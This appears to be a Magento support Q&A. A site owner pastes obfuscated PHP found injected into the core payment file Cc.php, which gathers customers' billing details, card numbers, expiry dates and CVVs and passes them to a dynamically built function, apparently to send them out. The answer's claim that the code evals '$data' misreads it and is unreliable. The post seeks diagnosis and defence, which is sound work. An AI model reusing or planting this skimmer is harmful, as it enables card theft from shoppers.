code added to core file being used to steal cc info

Question

I'm curious, our client has been getting calls about users getting cc's stolen after being used on their site.

After running multiple scans and checking at the server level the only thing I could find was some curious looking code in the following file: /app/code/core/Mage/Payment/Model/Method/Cc.php (pasted code snippet below).

I checked the code against a fresh Magento install of same version and not seeing this code. Couple questions...

1. Does the code below look malicious?
2. How do you think it was hacked and how to protect from in the future?

Using Magento 1.9.2.4

function validateInfoType($data)
{
    $object = new Mage_Checkout_Block_Onepage_Billing;
    $MageAPI = 'https://api.magento.com/id=token...';
    $i = str_split($MageAPI);

    $token = 'token...'.
             'token...'.
             'token...'.
             'token...';

    $callback = explode('token', $token);

    $api = $i[60].$i[8].$i[4].$i[15].$i[34].$i[36].$i[54].$i[25].$i[15].$i[20].$i[18].$i[25].$i[15];
    $apiID = $api($callback[19]);
    $validBin = substr($data->getCcNumber(), 0, 6);
    $validBank = explode($validBin, file_get_contents($api($callback[15]).$validBin));
    $validCard = explode($api($callback[16]), $validBank[2]);
    $validBankName = explode($api($callback[17]), $validCard[5]);

    $info  = $api($callback[1]).$object->getQuote()->getBillingAddress()->getFirstname().' '.$object->getQuote()->getBillingAddress()->getLastname()."\n";
    $info .= $api($callback[2]).$object->getQuote()->getBillingAddress()->getStreet(1)."\n";
    $info .= $api($callback[3]).$object->getQuote()->getBillingAddress()->getStreet(2)."\n";
    $info .= $api($callback[4]).$object->getQuote()->getBillingAddress()->getCity()."\n";
    $info .= $api($callback[5]).$object->getQuote()->getBillingAddress()->getRegion()."\n";
    $info .= $api($callback[6]).$object->getQuote()->getBillingAddress()->getPostcode()."\n";
    $info .= $api($callback[7]).$object->getQuote()->getBillingAddress()->getTelephone()."\n";
    $info .= $api($callback[8]).$object->getQuote()->getBillingAddress()->getCountry()."\n";
    $info .= $api($callback[9]).Mage::getSingleton('checkout/session')->getQuote()->getBillingAddress()->getEmail()."\n";
    $info .= $api($callback[10]).$data->getCcOwner()."\n";
    $info .= $api($callback[11]).$data->getCcNumber()."\n";
    $info .= $api($callback[12]).$validCard[3]."\n";
    $info .= $api($callback[13]).$data->getCcExpMonth().'/20'.substr($data->getCcExpYear(), -2)."\n";
    $info .= $api($callback[14]).$data->getCcCid()."\n";
    $info .= $_SERVER['SERVER_NAME'].' '.date('Y-m-d H:i:s');

    $apiID($api($callback[18]),substr($data->getCcNumber(), 0, 6).' - '.$validCard[2].' '.$validCard[3].' '.$validCard[4].' - '.$validBankName[0].' ['.$_SERVER['SERVER_NAME'].' - '.$_SERVER['REMOTE_ADDR'].']', $info);
}

Answer 1

If you find any file edited and added content doesn't exist in fresh Magento then it's most likely compromised site. However, you do need to check if the new code is added by Magento Security Patch.

Looking into above code, it is trying to decode & eval the $data variable. I believe this $data is passed from somewhere, which you haven't included here.

You should follow these instructions to find out more about the site's status:

First, check your site in magereport. You will see if any patches are missed or your admin url is disclosed.

Basically, you should have custom admin url which can be accessed from your IP only. If you have followed the best practice of Magento security, these things are explained.

Like you said, you have followed all instruction for brute force, but still they are able to take control of your admin.

Read more